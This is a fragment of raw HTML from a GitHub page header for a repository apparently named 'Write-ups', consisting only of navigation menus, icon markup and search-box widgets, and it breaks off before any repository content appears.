mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="106194257" data-scoped-search-url="/soolidsnake/Write-ups/search" data-owner-scoped-search-url="/users/soolidsnake/search" data-unscoped-search-url="/search" data-turbo="false" action="/soolidsnake/Write-ups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="xTL5u8JXG3oKjTv4drK/9qm6PGTv/Qkhb7HKwchp+QPiTEJL9dr1KdIzJatlULDdCdGU35cwDFOgtEV/A/91ZQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 